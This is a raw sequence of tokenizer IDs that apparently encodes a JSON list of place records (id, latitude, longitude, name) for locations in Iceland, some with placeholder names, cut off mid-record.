29976, 941, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29896, 29900, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29896, 29947, 29941, 29929, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29955, 29947, 29945, 29892, 376, 978, 1115, 376, 29950, 2987, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29906, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29941, 29955, 29947, 29946, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29906, 29946, 29955, 29941, 29892, 376, 978, 1115, 376, 12432, 7381, 5427, 30189, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29906, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29941, 29900, 29955, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29955, 29896, 29955, 29955, 29892, 376, 978, 1115, 376, 29968, 324, 1335, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29946, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29946, 29945, 29947, 29941, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29941, 29953, 29929, 29896, 29892, 376, 978, 1115, 376, 29940, 1300, 370, 30030, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29906, 29929, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29941, 29946, 29896, 29929, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29906, 29946, 29953, 29945, 29892, 376, 978, 1115, 376, 29903, 29894, 442, 3054, 29895, 327, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29896, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29945, 29947, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29906, 29929, 29906, 29945, 29892, 376, 978, 1115, 376, 10358, 29997, 299, 29884, 7173, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29955, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29900, 29896, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29896, 29953, 29896, 29953, 29892, 376, 978, 1115, 376, 29911, 4877, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29941, 29947, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29947, 29945, 29896, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29955, 29953, 29953, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29941, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29906, 29945, 29929, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29945, 29955, 29941, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29953, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29955, 29900, 29955, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29906, 29945, 29896, 29941, 29892, 376, 978, 1115, 376, 29924, 29997, 30189, 582, 29894, 514, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29955, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29929, 29953, 29896, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29896, 29896, 29896, 29941, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29955, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29946, 29947, 29945, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29900, 29900, 29896, 29896, 29892, 376, 978, 1115, 376, 29963, 29874, 30189, 433, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29955, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29947, 29896, 29955, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29947, 29947, 29945, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29929, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29947, 29955, 29941, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29900, 29900, 29941, 29945, 29892, 376, 978, 1115, 376, 29954, 30078, 29879, 2142, 12382, 645, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29929, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29947, 29906, 29896, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29941, 29946, 29946, 29953, 29892, 376, 978, 1115, 376, 855, 29874, 30189, 279, 29882, 29980, 645, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29929, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29947, 29945, 29953, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29906, 29900, 29896, 29945, 29892, 376, 978, 1115, 376, 29934, 585, 30189, 29882, 2464, 29879, 279, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29945, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29955, 29941, 29929, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29953, 29953, 29945, 29953, 29892, 376, 978, 1115, 376, 30178, 433, 29888, 4668, 24900, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29929, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29946, 29896, 29947, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29941, 29906, 29947, 29896, 29892, 376, 978, 1115, 376, 29950, 7381, 485, 23576, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29955, 29906, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29896, 29929, 29906, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29900, 29929, 29947, 29929, 29892, 376, 978, 1115, 376, 15797, 351, 271, 29976, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29955, 29945, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29947, 29946, 29945, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29929, 29945, 29941, 29946, 29892, 376, 978, 1115, 376, 29903, 585, 30189, 17297, 29894, 4812, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29955, 29945, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29941, 29946, 29929, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29929, 29896, 29929, 29892, 376, 978, 1115, 376, 29903, 335, 29880, 1137, 24900, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29955, 29945, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29929, 29941, 29947, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29947, 29946, 29941, 29896, 29892, 376, 978, 1115, 376, 29903, 335, 29880, 7844, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29955, 29955, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29953, 29941, 29896, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29947, 29946, 29900, 29947, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29955, 29929, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29929, 29929, 29946, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29896, 29900, 29906, 29947, 29892, 376, 978, 1115, 376, 29924, 1715, 3054, 29890, 557, 1984, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29929, 29955, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29945, 29946, 29941, 29947, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29900, 29896, 29953, 29955, 29892, 376, 978, 1115, 376, 3338, 5487, 7759, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29900, 29896, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29953, 29900, 29955, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29906, 29896, 29900, 29946, 29892, 376, 978, 1115, 376, 29965, 407, 1017, 3262, 279, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29900, 29953, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29929, 29946, 29906, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29955, 29946, 29946, 29955, 29892, 376, 978, 1115, 376, 29950, 497, 555, 29879, 5173, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29896, 29947, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29945, 29946, 29929, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29900, 29900, 29953, 29946, 29892, 376, 978, 1115, 376, 29903, 1032, 30189, 4492, 24900, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29896, 29929, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29953, 29947, 29906, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29945, 29955, 29945, 29892, 376, 978, 1115, 376, 29928, 284, 271, 574, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29906, 29955, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29906, 29941, 29945, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29906, 29945, 29947, 29929, 29892, 376, 978, 1115, 376, 29954, 4211, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29941, 29900, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29896, 29929, 29941, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29929, 29955, 29953, 29947, 29892, 376, 978, 1115, 376, 29924, 30052, 9046, 29876, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29941, 29906, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29946, 29906, 29906, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29896, 29906, 29947, 29946, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29941, 29947, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29906, 29941, 29945, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29947, 29896, 29953, 29955, 29892, 376, 978, 1115, 376, 29933, 557, 29895, 1875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29946, 29900, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29929, 29946, 29945, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29955, 29955, 29946, 29947, 29892, 376, 978, 1115, 376, 29968, 1929, 433, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29946, 29945, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29900, 29941, 29953, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29947, 29906, 29900, 29947, 29892, 376, 978, 1115, 376, 15797, 29926, 2741, 30340, 886, 5173, 30189, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29946, 29955, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29955, 29947, 29945, 29955, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29941, 29900, 29947, 29906, 29892, 376, 978, 1115, 376, 29933, 29926, 2753, 598, 29891, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29945, 29900, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29929, 29896, 29896, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29929, 29955, 29953, 29906, 29892, 376, 978, 1115, 376, 30452, 29872, 391, 598, 12072, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29953, 29896, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29941, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29946, 29947, 29941, 29941, 29892, 376, 978, 1115, 376, 30102, 29879, 1609, 29878, 3146, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29953, 29945, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29900, 29953, 29953, 29947, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29900, 29955, 29929, 29929, 29892, 376, 978, 1115, 376, 29924, 29875, 30189, 29888, 4758, 30189, 2753, 267, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29947, 29906, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29946, 29945, 29953, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29929, 29945, 29906, 29955, 29892, 376, 978, 1115, 376, 29934, 4987, 279, 13238, 9144, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29947, 29941, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29941, 29955, 29945, 29946, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29947, 29947, 29941, 29941, 29892, 376, 978, 1115, 376, 29924, 29997, 30189, 29878, 566, 284, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29947, 29953, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29941, 29955, 29947, 29941, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29945, 29941, 29906, 29953, 29892, 376, 978, 1115, 376, 9824, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29929, 29896, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29945, 29900, 29947, 29906, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29945, 29946, 29946, 29946, 29892, 376, 978, 1115, 376, 29934, 585, 30189, 262, 30030, 15503, 10758, 13, 1678, 8853, 333, 1115, 29871, 29946, 29929, 29906, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29945, 29896, 29896, 29945, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29896, 29946, 29946, 29896, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29906, 29896, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29947, 29900, 29906, 29947, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29953, 29945, 29900, 29929, 29892, 376, 978, 1115, 376, 797, 29887, 5471, 29888, 845, 29997, 29888, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29941, 29900, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29947, 29955, 29946, 29941, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29953, 29941, 29953, 29946, 29892, 376, 978, 1115, 376, 29943, 351, 332, 29882, 29980, 3137, 29885, 30052, 374, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29941, 29896, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29955, 29955, 29955, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29946, 29941, 29953, 29953, 29892, 376, 978, 1115, 376, 29968, 9584, 808, 261, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29945, 29946, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29953, 29929, 29896, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29906, 29896, 29941, 29945, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29955, 29955, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29945, 29929, 29896, 29896, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29896, 29955, 29946, 29955, 29892, 376, 978, 1115, 376, 29925, 4085, 29891, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29947, 29906, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29906, 29947, 29896, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29900, 29947, 29929, 29955, 29892, 376, 978, 1115, 376, 12432, 30030, 279, 1340, 30078, 7241, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29947, 29946, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29896, 29953, 29896, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29941, 29906, 29906, 29947, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29947, 29955, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29953, 29955, 29945, 29955, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29941, 29946, 29946, 29946, 29892, 376, 978, 1115, 376, 7141, 335, 279, 25031, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29947, 29947, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29900, 29896, 29906, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29947, 29946, 29906, 29941, 29892, 376, 978, 1115, 376, 29968, 1117, 17297, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29941, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29955, 29906, 29947, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29896, 29896, 29896, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29941, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29906, 29947, 29946, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29955, 29955, 29955, 29896, 29892, 376, 978, 1115, 376, 29968, 14684, 3123, 29926, 30030, 5689, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29946, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29896, 29900, 29947, 29953, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29945, 29906, 29929, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29946, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29896, 29945, 29896, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29946, 29906, 29941, 29945, 29892, 376, 978, 1115, 376, 29923, 17472, 370, 557, 5689, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29953, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29955, 29929, 29945, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29953, 29955, 29946, 29947, 29892, 376, 978, 1115, 376, 29950, 497, 555, 29879, 5173, 30189, 801, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29953, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29941, 29953, 29946, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29945, 29955, 29896, 29896, 29892, 376, 978, 1115, 376, 30452, 4916, 566, 284, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29953, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29900, 29900, 29929, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29946, 29953, 29906, 29945, 29892, 376, 978, 1115, 376, 30452, 4916, 29881, 1338, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29955, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29896, 29947, 29906, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29946, 29945, 29941, 29945, 29892, 376, 978, 1115, 376, 29950, 497, 1655, 1144, 29881, 1338, 1707, 29886, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29955, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29941, 29953, 29947, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29906, 29941, 29929, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29947, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29900, 29955, 29953, 29941, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29900, 29941, 29955, 29892, 376, 978, 1115, 376, 29923, 808, 361, 24900, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29947, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29941, 29955, 29906, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29900, 29946, 29900, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29947, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29941, 29955, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29953, 29947, 29946, 29953, 29892, 376, 978, 1115, 376, 29963, 1131, 2753, 267, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29929, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29896, 29945, 29900, 29941, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29953, 29953, 29929, 29946, 29892, 376, 978, 1115, 376, 29940, 8488, 585, 29886, 5173, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29929, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29896, 29953, 29896, 29947, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29953, 29947, 29947, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29945, 29929, 29929, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29955, 29955, 29947, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29945, 29896, 29929, 29906, 29892, 376, 978, 1115, 376, 2008, 2330, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29900, 29896, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29906, 29929, 29929, 29941, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29945, 29929, 29929, 29945, 29892, 376, 978, 1115, 376, 29903, 4227, 7759, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29900, 29896, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29946, 29941, 29945, 29929, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29906, 29955, 29945, 29947, 29892, 376, 978, 1115, 376, 29963, 342, 4403, 29874, 1032, 29926, 370, 17930, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29900, 29896, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29941, 29929, 29929, 29953, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29906, 29947, 29947, 29906, 29892, 376, 978, 1115, 376, 855, 4916, 13238, 29888, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29900, 29946, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29946, 29906, 29941, 29953, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29896, 29947, 29941, 29892, 376, 978, 1115, 376, 29963, 271, 1983, 808, 279, 30189, 845, 29980, 4675, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29896, 29941, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29945, 29906, 29946, 29906, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29953, 29941, 29945, 29955, 29892, 376, 978, 1115, 376, 30094, 29876, 870, 279, 25031, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29896, 29955, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29945, 29896, 29955, 29929, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29929, 29955, 29947, 29945, 29892, 376, 978, 1115, 376, 29903, 5689, 30189, 4668, 12382, 582, 29894, 4812, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29906, 29900, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29955, 29946, 29955, 29955, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29953, 29896, 29947, 29906, 29892, 376, 978, 1115, 376, 30452, 29891, 6859, 29894, 747, 17930, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29906, 29906, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29955, 29941, 29945, 29946, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29896, 29900, 29929, 29896, 29892, 376, 978, 1115, 376, 29903, 29976, 1516, 5173, 30189, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29906, 29941, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29955, 29955, 29945, 29955, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29953, 29955, 29955, 29941, 29892, 376, 978, 1115, 376, 29911, 513, 29888, 12382, 645, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29906, 29941, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29953, 29955, 29929, 29896, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29946, 29947, 29896, 29946, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 426, 13, 4706, 376, 333, 1115, 29871, 29953, 29906, 29955, 29906, 29892, 13, 4706, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29955, 29929, 29892, 13, 4706, 376, 12957, 1115, 448, 29896, 29947, 29889, 29900, 29896, 29896, 29892, 13, 4706, 376, 978, 1115, 9872, 5813, 28341, 13, 1678, 2981, 13, 1678, 8853, 333, 1115, 29871, 29953, 29941, 29900, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29941, 29945, 29945, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29929, 29955, 29900, 29955, 29892, 376, 978, 1115, 376, 24313, 2209, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29941, 29896, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29953, 29906, 29947, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29945, 29953, 29953, 29929, 29892, 376, 978, 1115, 376, 29968, 2464, 29888, 29882, 29980, 645, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29941, 29896, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29947, 29906, 29945, 29955, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29941, 29953, 29945, 29946, 29892, 376, 978, 1115, 376, 29950, 3547, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29946, 29906, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29946, 29900, 29945, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29906, 29945, 29906, 29896, 29892, 376, 978, 1115, 376, 30102, 29878, 4515, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29946, 29906, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29906, 29929, 29941, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29900, 29896, 29947, 29929, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29946, 29941, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29896, 29953, 29947, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29955, 29946, 29946, 29929, 29892, 376, 978, 1115, 376, 29933, 30030, 9600, 514, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29946, 29945, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29929, 29947, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29953, 29896, 29946, 29892, 376, 978, 1115, 376, 29931, 888, 557, 9584, 2536, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29946, 29955, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29906, 29945, 29945, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29896, 29896, 29929, 29953, 29892, 376, 978, 1115, 376, 29931, 4987, 29890, 2606, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29946, 29929, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29900, 29896, 29945, 29955, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29929, 29953, 29953, 29955, 29892, 376, 978, 1115, 376, 29903, 1335, 615, 2142, 514, 10758, 13, 1678, 8853, 333, 1115, 29871, 29953, 29945, 29896, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 